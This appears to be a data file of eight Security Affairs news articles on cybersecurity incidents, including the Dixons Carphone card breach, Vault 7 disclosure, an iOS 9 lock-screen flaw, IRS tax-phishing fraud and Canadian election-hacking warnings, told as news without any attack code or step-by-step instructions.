6804_73479 | Dixons Carphone discovered an “unauthorised access” to certain data held by the company, it promptly launched an investigation and hired an external firm to shed the light on the case., The company immediately reported the hack to law enforcement, regulators at the Information Commissioner’s Office and the Financial Conduct Authority., “As part of a review of our systems and data, we have determined that there has been unauthorised access to certain data held by the company.” reads the data breach notification published by the company., “Our investigation is ongoing and currently indicates that there was an attempt to compromise 5.9 million cards in one of the processing systems of Currys PC World and Dixons Travel stores. However, 5.8m of these cards have chip and pin protection. The data accessed in respect of these cards contains neither pin codes, card verification values (CVV) nor any authentication data enabling cardholder identification or a purchase to be made. “, The retailer explained that it has no evidence to date of any abuse of the data as result of the hack. The bad news for the customers is that the compromised information included payment card data., Dixons Travel confirmed that hackers could have accessed data of 5.9 million cards stored in one of the processing systems of Currys PC World and Dixons Travel stores. The company highlighted that 5.8 million of these cards have chip and PIN protection, in these case crooks may have accessed card data contains neither PIN codes, card verification values (CVV) nor any authentication data enabling cardholder identification or a purchase to be made., Roughly 105,000 non-EU issued payment cards that do not use chip and PIN protection have been compromised., The firm notified the relevant card companies via its payment provider about all compromised cards., “Separately, our investigation has also found that 1.2m records containing non-financial personal data, such as name, address or email address, have been accessed. We have no evidence that this information has left our systems or has resulted in any fraud at this stage. We are contacting those whose non-financial personal data was accessed to inform them, to apologise, and to give them advice on any protective steps they should take.” added the company., This isn’t the first time that the company suffers a security breach, in 2015 another incident exposed the credit card details of 90,000 Dixons Carphone customers., Affected customers are anyway potentially exposed to phishing attacks and have to be vigilant., Pierluigi Paganini, (Security Affairs –Carphone Warehouse, data breach) |
1244_25455 | Car hacking is possible, I have proposed different works presented by security experts that demonstrate how to compromise modern vehicles with cheap environment. Modern cars have a huge quantity of components connected by an internal network that could be easily compromised knowing the communication protocol used by principal vendors., “Modern cars contain upwards of 50 electronic control units (ECUs) that exchange data within an internal network. The safety of the automobiles relies on near real time communication between the different ECUs for predicting crashes, performing anti-lock braking, and much more.“, Recently Security researchers have demonstrated that car hacking is possible using wired systems or short-range wireless such as Bluetooth, but experts at Toucan Systems confirm that similar attacks can be conducted remotely from any place on the planet., As reported by the Sydney Morning Herald, security expert Jonathan Brossard declared that he “does not know of a car that has been hacked on the road, but says his company does it for vehicle manufacturers in Europe.”, “The only way to verify that a car is not subject to cyber attack is to try to break it, fix it and try to break it again, he said.” ”The vehicle is remote from me. I am sitting at the desk and I am using the computer and driving your car from another country. I am saying it is possible.”A car is, technically speaking, very much like a cell phone and that makes it vulnerable to attack from the internet,” ”An attack is not unlikely.” he added., The scenario is scaring, my mind immediately flies to the infinite possibilities of Intelligence agencies that could have already implanted in the control systems of million of cars any kind of device to advantage their remote control, it is already happening with routers and servers, why not for modern vehicle?, “At this year’s Black Hat conference in August he says attention will turn to an open back door allowing someone to take control of your computer remotely. He says it already infects 2 million computers worldwide, including Australian machines made by mainstream manufacturers.” reported the Sydney Morning Herald., , The majority of the attacks presented by the scientific community is operated through the Controlled Area Network, Electronic Control Units exchange operation data on one or more bus based on the Controlled Area Network standard. Popular security expert Charlie Miller and Chris Valasek demonstrated last year that it is possible to gain the control of a vehicle simply by connecting laptops to the dashboard., A recent report published by CNN Money raises again the debate on the car hacking, the media describes the 50 to 100 computers controlling steering, acceleration and brakes in the typical automobile as “really dumb”, “there’s a danger to turning your car into a smartphone on wheels”. states the CNN., As explained by Ed Adams, a researcher at Security Innovation, a company that tests the safety of automobiles, the principal problem in car hacking is the lack of security by design, the expert confirm that of proper security mechanism in the software which equip modern vehicles., “Auto manufacturers are not up to speed,” “They’re just behind the times. Car software is not built to the same standards as, say, a bank application. Or software coming out of Microsoft.” said Ed Adams, Computer architecture in modern cars is not different from any other computer system, it is wirelessly connected to the Internet and could be targeted by a cyber attack., The report claims that the next generation of cars from both Audi and Tesla can be victims of car hacking, in April the researcher Nitesh Dhanjani, presented a study conducted on his own Tesla Model S Sedan, he reported a series of security issues that could be exploited to locate and unlock the vehicles., Be aware attacks where cars are “taken over” wirelessly have not been widely demonstrated, but it is worrying the approach of principal car manufacturers that seems to be impassive to the continue warning of hacking community., “At the moment there are people who are in the know, there are nay-sayers who don’t believe it’s important, and there are others saying it’s common knowledge but right now there’s not much data out there,” “We would love for everyone to start having a discussion about this, and for manufacturers to listen and improve the security of cars.” said the popular hacker Charlie Miller. , As vehicles become more integrated with wireless technology, their surface of attacks will be enlarged in significant way giving to attackers much more opportunity to inject malicious code in the car components or to interfere with them., Let’s hope car manufacturers will carefully assess their technologies, even if many of the components they integrates are designed by third-party companies., (Security Affairs – car hacking, car safety) |
4998_57242 | A couple of weeks ago Wikileaks published the Vault 7 archive, a huge trove of files detailing CIA hacking tools and capabilities., The files allegedly originated from a high-security network of the U.S. Central Intelligence Agency (CIA). The Vault 7 data leak sheds light on the hacking capabilities of the US Intelligence Agency and provided details about its spying infrastructure used for the massive surveillance., “The first full part of the series, “Year Zero”, comprises 8,761 documents and files from an isolated, high-security network situated inside the CIA’s Center for Cyber Intelligence in Langley, Virginia,” reads the announcement issued by WikiLeaks by WikiLeaks., “Recently, the CIA lost control of the majority of its hacking arsenal including malware, viruses, Trojans, weaponized “zero day” exploits, malware remote control systems and associated documentation.”
, The Vault 7 dump includes confidential information, hacking tools, malicious codes and exploits developed to hack popular products from various IT companies, including Samsung, Apple, Google, and Microsoft., , The hacking tools in the arsenal of the CIA have been developed by the CCI’s Engineering Development Group (EDG). The developers at EDG are tasked of developing and testing any kind of malicious code, including implants, backdoors, exploits, Trojans and viruses., WikiLeaks announced it was planning to share information on the hacking tools included in the Vault7 dump with the tech companies whose products are affected even if the White House has warned that there may be legal repercussions for the organization., The organization wants to protect the customers of the major companies that use the products of several major companies that are impacted by the hacking tools in the data leak., WikiLeaks clarified it would not release tools or exploits “until a consensus emerges on the technical and political nature of the CIA’s program and how such ‘weapons‘ should analyze, disarmed and published.”, During a WikiLeaks press conference on March 9, 2017, Julian Assange explained that the organization decided to share information with impacted companies., , “We have decided to work with them, to give them some exclusive access to some of the technical details we have, so that fixes can be pushed out,” WikiLeaks’ founder Julian Assange said during a Facebook Live press conference last week., What has happened after a few days?, Assange contacted tech companies, included Apple, Microsoft, and Google in explain how Wikileaks intends to share the knowledge about the vulnerabilities the CIA was allegedly taking advantage., It seems that Wikileaks requested the satisfaction of specific conditions to the tech companies., According to Motherboard, Assange sent an email to Apple, Google, Microsoft and other companies this week including “a series of conditions” that the tech companies need to fulfill before gaining access to the actual technical details and code of the hacking tools included in the Vault 7 archive., “WikiLeaks included a document in the email, requesting the companies to sign off on a series of conditions before being able to receive the actual technical details to deploy patches, according to sources.”reads the blog post published by Motherboard. “It’s unclear what the conditions are, but a source mentioned a 90-day disclosure deadline, which would compel companies to commit to issuing a patch within three months.”, Sources cited by Motherboard and informed on the matter mentioned a 90-day disclosure deadline, this means that Wikileaks is requesting tech companies to issue a patch for the vulnerabilities in just 3 months., Update on CIA #Vault7 "zero day" software vulnerabilities, Ref: pic.twitter.com/WEiyptlRu3, — WikiLeaks (@wikileaks) March 18, 2017, , This implies an additional effort to the tech firms that would also decide to do not comply with Wikileaks’ conditions., Of course, the best option for tech firms is to accept the conditions and fix the issues as soon as possible. At the same time also the CIA can decide to pass the information on the flaws to the companies avoiding that hackers in the wild can take advantage of the bugs. We cannot exclude that also a foreign government is already exploiting the flaws in targeted attacks., “WikiLeaks and the government hold all the cards here, there’s not much the tech companies can do on their own besides rabidly looking through their code to look for any issues that might be related,” one of the anonymous sources said., The CIA declined to comment on whether it plans to alert the tech companies. According to Motherboard, a spokesperson sent a statement saying that the agency has “no comment on the authenticity of purported intelligence documents released by Wikileaks or on the status of any investigation into the source of the documents.”, “As we’ve said previously, Julian Assange is not exactly a bastion of truth and integrity,” the spokesperson wrote. “The American public should be deeply troubled by any Wikileaks disclosure designed to damage the Intelligence Community’s ability to protect America against terrorists and other adversaries. Such disclosures not only jeopardize US personnel and operations, but also equip our adversaries with tools and information to do us harm.”, Pierluigi Paganini, (Security Affairs – Vault 7, Wikileaks) |
729_17504 | Security researcher Ian Malloy has been studying facebook.com for several years, watching as the company released product after product and used the hacker business model of ‘build fast and break things.’ Now, Mr. Malloy has found that Facebook has gone too far and open itself up to several hacking exploits and vulnerabilities. His research, stemming from work done by Eric Feinberg and Frank Angiolelli, revealed a high-level cyber criminal network operating through Facebook utilizing their graph API and circumventing their ‘Immunity System.’ At first it appeared that the Russian Business Network was spreading the Zues/Zbot through fraudulent ads, which other cyber security firms confirmed. It seemed they were operating out of China, but now Mr. Malloy has uncovered the true culprit, a newly developed and little known cyber unit operating out of Yemen, Syria and China that uses proxies and zombies similar to RBN IP addresses though no affiliation between the new cyber unit discovered, called ‘Al Assam Alaikum’ (AAA) is connected directly to the Russian Business Network., , The Al Assam AlaikumCyber Unit is very difficult to pinpoint, but an informant has stepped forward. This new revelation has shown a deep web acting, a new player in the cyber arena. Mr. Malloy spoke briefly with the Al Assam Alaikum Cyber Unit representative who was actually offended that they weren’t given the credit for their operations. While they may be operating through Facebook, not much more is known., I decided to submit a couple of questions to Mr. Malloy to better understand its research and related results., How did you discover the Al Assam Alaikum?, Mr. Malloy: I’ve been trying my best to find the actual culprits in who is defrauding Facebook users, and started to notice anomalies and patterns in the use of IP’s related to RBN. I gathered intelligence on the RBN through US Defense Security Intelligence Network and came to find the RBN is all but disbanded. This seemed odd to me since the IP’s apparently linked them to the Facebook crimes. My employee, “Jay” aka “whitehat” was a little trigger happy which resulted in poor analysis of the trends we were seeing. Jay infiltrated a Tor network chatroom and discovered an immense amount of talk about the Washington Post interview I gave. He then discovered a number of individuals claiming allegiance to AAACU who also claimed responsibility as they threatened to issue a ‘fatwa’ on all Malloy Labs employees in response to the lack of proper attribution. It quickly became clear that they were very interested in showcasing their muscle in cyberspace as well as in the kinetic field. Jay left the chat room with a clearer vision of who was responsible for the fraud on Facebook., , What intelligence have you gathered on the AAACU?, Not much at this point, they use high-level VPN’s and proxies but seek attention for their capabilities. They used IP’s provided to them through unknown, anonymous channels to create zombie farms of multiple IP addresses. It appears that they didn’t know the IP’s were attributable to RBN. They openly support the cyber group Anonymous and seek to destroy America and NATO countries., Pierluigi Paganini, (Security Affairs – Al Assam Alaikum , Russian Business Network, cybercrime) |
2513_38475 | According to the Behorder Spiegel magazine, hackers were able to send “unexplained” orders to the Patriot missiles stationed in Turkey. The Patriot missiles are part of the anti-aircraft system, the systems are manufactured in the US and are used for defensive purposes as advanced aerial interceptor missile and high-performance radar systems., The hackers took over the German-owned Patriot missiles on the Syrian border. It was not immediately clear when the cyber attack occurred neither the nature of the orders sent to systems., The system hacked by the attackers is owned by the German Army, the Bundeswehr, located in the area to protect the Turkish Border., The missile systems were stationed in the area in 2012 when the Turkish government request the intervention of NATO allies, after the civil war in Syria., The magazine reports two possible attack scenarios against this kind of missile systems. In a first scenario hackers can exploit a flaw in the Sensor-Shooter-Interoperability (SSI), which is a real-time data exchange between the missile launcher and its control system, meanwhile in the second one hackers can breach the overall system by compromising the computer chip that controls the guidance of the weapon., “One possible target for attacks from the digital space has in this context, the so-called “sensor-shooter interoperability” (SSI).” states the magazine. ” Another avenue for cyber attacks are the chips of the weapons systems that are ultimately responsible for their overall control.” , This already come for some time from the United States, its blanks are produced in Asia, however. This allows militarily relevant influence.” states the magazine., The German Government already announced the replacement of Patriot missiles with MEADS air defense systems., Pierluigi Paganini, (Security Affairs – Patriot missiles, hacking) |
2808_40476 | Apple has already released its first update for the release iOS, the version iOS 9.0.1 was issued last week to fix a number of bugs., Last week Jose Rodriguez reported the lock screen bypass vulnerability affecting the iPhone devices, today I have to inform you that the last update doesn’t fix the security issue., The flaw is considered serious because it allows bypassing the lock screen mechanism that protects the iPhone and the iPad from unauthorized access. An attacker can access users’ contacts and personal photographs bypassing the lock screen mechanism implemented in iOS 9.0 and iOS 9.0.1 versions., , Rodriguez has published a step-by-step guide to bypass the lock screen mechanism that normally requests the passcode on iOS 9 and iOS 9.0.1 devices., Let me remind you that the attack relies on the Apple’s personal assistant Siri, other security experts have verified the lock screen bypass vulnerability affects all iOS versions from iOS 5.1.1 to the latest released iOS 9.0.1., , , The lock screen bypass vulnerability works on all iOS versions from iOS 5.1.1 to the latest released iOS 9.0.1., Waiting for a patch, iOS users can disable Siri on the lock screen by modifying the settings of the device from, Settings > Touch ID & Passcode, Once disabled, users will be anyway able to continue using Siri after unlocked their iOS 9 based device., Edited by Pierluigi Paganini, (Security Affairs – iOS 9.0.1, Lock Screen Bypass flaw) |
3545_45712 | Internal Revenue Service tax fraud has reached a peak in the last year, crooks are intensifying their activity adopting new techniques to monetize their efforts., According to security experts that are monitoring the phenomena, Tax-related phishing activities are increasing in this period., This is a critical period in the US, the so-called Tax season, that will end on April 18th. In February, an IRS bulletin confirmed that there is a 400 percent surge in tax-related phishing and malware incidents., “Tax-related phishing is something of an annual phenomenon, but Proofpoint researchers are seeing a degree of sophistication and pervasiveness that sets this year apart,” states a report published by the Proofpoint firm that analyzes tax fraud trends., Crooks are trying to exploit new habits of taxpayers, for example their preference for mobile platforms. Security experts observed a mobile-optimized phishing site that appears as a legitimate tax application and that targets mobile users.Proofpoint confirmed to have discovered a number of phishing sites hosted on major providers which were shut down by the ISPs after their discovery.Tax-related frauds are considering an emergency for law enforcement, hundreds of thousands of users are potentially at risk., Recently, IRS services were abused by cyber criminals to target taxpayers, in May 2015 the Internal Revenue Service suffered a data breach. Hackers “used an online service provided by the agency” to access data for more than 100,000 taxpayers. The IRS issued an official statement on the incident and specified that the compromised system was “Get Transcript.” The Transcript service could be used by taxpayers to get a transcript online or by mail to view their tax account transactions., In August 2015, the Internal Revenue Service disclosed a new review of its system, revealing that 334,000 taxpayers (more than three times it initially estimated) may be affected by the hack it announced in May., In February the IRS detected roughly unauthorized attempts using 464,000 unique SSNs, and 101,000 attempts allowed crooks in generating PINs., The U.S. Internal Revenue Service confirmed that cyber criminals abused the Electronic Filing PIN application running on irs.gov that allows taxpayers to generate a PIN that they can use to file tax returns online., Last figures available on the ‘Get Transcript’ hack revealed that 700,000 taxpayers were affected by the data breach, the government experts observed 47 million tax transcripts requested under false pretenses, a worrying phenomenon., This year, security firms and government agencies are observing some new worrying attacks targeting businesses with W-2 phishing campaigns. W-2 information could be used by fraudsters to file victim’s taxes and request refunds in their name., The crooks are also trying to monetize tax-related voice-phishing in order to obtain information to use in the fraudulent activities., The experts are observing an increased interest in criminal ecosystem for stolen information that could be exploited in tax refund fraud. This precious commodity is becoming popular also in the principal black markets in the dark web., Attackers are using this information to abuse of the IRS’ electronic filing PIN verification system and file a fake return under on the victim’s behalf and requesting the payment through a fraudulent bank account. The FBI confirmed a significant increase of the Stolen Identity Refund Fraud (SIRF), victims of this kind of crimes are specific categories of individuals like homeless and prisoners., “SIRF is relatively easy to commit and extremely lucrative for criminal actors. While all U.S. taxpayers are susceptible to SIRF, over the past year, criminal actors have targeted specific portions of the population, including: temporary visa holders, the homeless, prisoners, the deceased, low-income individuals, children, senior citizens, and military personnel deployed overseas.” states the FBI., Another worrying trend observed by ProofPoint is the availability of tax phishing kits that have reached a high level of quality., These kits are available for sale in the principal black market places and implements a number of features that allows crooks to avoid detection., “Sophisticated phishing kits custom-made for tax season dramatically boost threat actors across the spectrum to go after the taxpayers. Whether optimized for mobile (in the case of the fake tax preparation software) or “hiding in plain sight,” these kits are powerful tools for cyber criminals. We even observed a kit correctly using SSL, leveraging the secure form-delivery capabilities of the particular service provider they used. Correctly signed certificates make the phishing sites harder to detect for end users, web browsers, and security providers, giving attackers a leg up during tax season—even with commodity kits.” states ProofPoint., , Taxpayers have to be careful, cyber criminals will do every thing to steal their money., , Pierluigi Paganini, (Security Affairs – IRS, Tax Fraud) |
5357_60222 | The Canada Communications Security Establishment (CSE) published a report that reveals that cyber criminals and hacktivists had leaked sensitive government documents, and attempted to hack into 2015 country’s Election., The hackers targeted candidates and spread disinformation and propaganda in order to influence the vote. According to the CSE, the “low sophistication” attacks “did not impact the outcome of the election.”, The CSE warns of possible interference in the forthcoming 2019 election, especially of hacktivist groups., According to the CSE, 13 percent of countries holding national elections in 2017 are targets of cyber attacks even more sophisticated., “We judge that, almost certainly, multiple hacktivist groups will deploy cyber capabilities in an attempt to influence the democratic process in 2019,” states the CSE report. The Canadian intelligence believes that hackers will increasingly adopt “more sophisticated” techniques threatening 2019 elections and politicians., Clearly, Canadian Intelligence fears possible interference like the one observed in the US and French President campaigns. The Canadian intelligence avoided referring Russia or other states as potential opponents., The Canadian intelligence believes that hackers will increasingly adopt “more sophisticated” techniques threatening 2019 elections and politicians., The CSE report confirmed that the Anonymous collective leaked secret documents in 2015 on Canadian diplomatic missions and the size of Canadadia spy network overseas in order to damage the candidate Tories during the election campaign., OTTAWA, ON: OCTOBER 8, 2012 : Communications Security Establishment Canada building on Heron Rd ( Chris Mikula / Ottawa Citizen) For NATIONAL story Assignment #110602, CSE report also warns of Nation-state actors that could launch for the first time their offensive against Canada’s democracy., State-sponsored hackers may target politicians and parties involved in the 2019 election depending on “how Canada’s nation-state adversaries perceive Canada’s foreign and domestic policies, and on the spectrum of policies espoused by Canadian federal candidates in 2019.”, Foreign Affairs Minister Chrystia Freeland confirmed that threats to elections have been “energetically discussed” at meetings of NATO and the G7 group. Canada and its allies will no accept any attack against their voting machine., “We are a member of the G7, we are a NATO country, we are an influential voice and a leader on the world stage and so therefore there is a significant interest in influencing the direction of Canadian elections,” Minister of Democratic Institutions Karina Gould told AFP., “Regardless of who is behind these cyberthreats, it’s important that we can protect ourselves”., The CSE analyzed dozens of cyber attacks against more than 40 states in the last decade and discovered that in almost 80 percent of the cases, the attacks have been powered by state actors., The situation in Canada is worrisome, according to the CSE report, political parties, politicians and the media in Canada are under attack due to lack of proper security posture., The Canadian election system itself still relies on paper ballots, provincial and municipal elections could suffer cyber attacks., “In particular, we know that certain nation-states have core interests that can be affected by Canadian policies related to natural resources, which are often made at the provincial/territorial level,” said the report. “Hacktivists may begin to view subnational elections… as worthy targets.”, Pierluigi Paganini, (Security Affairs – CSE, hacktivism) |
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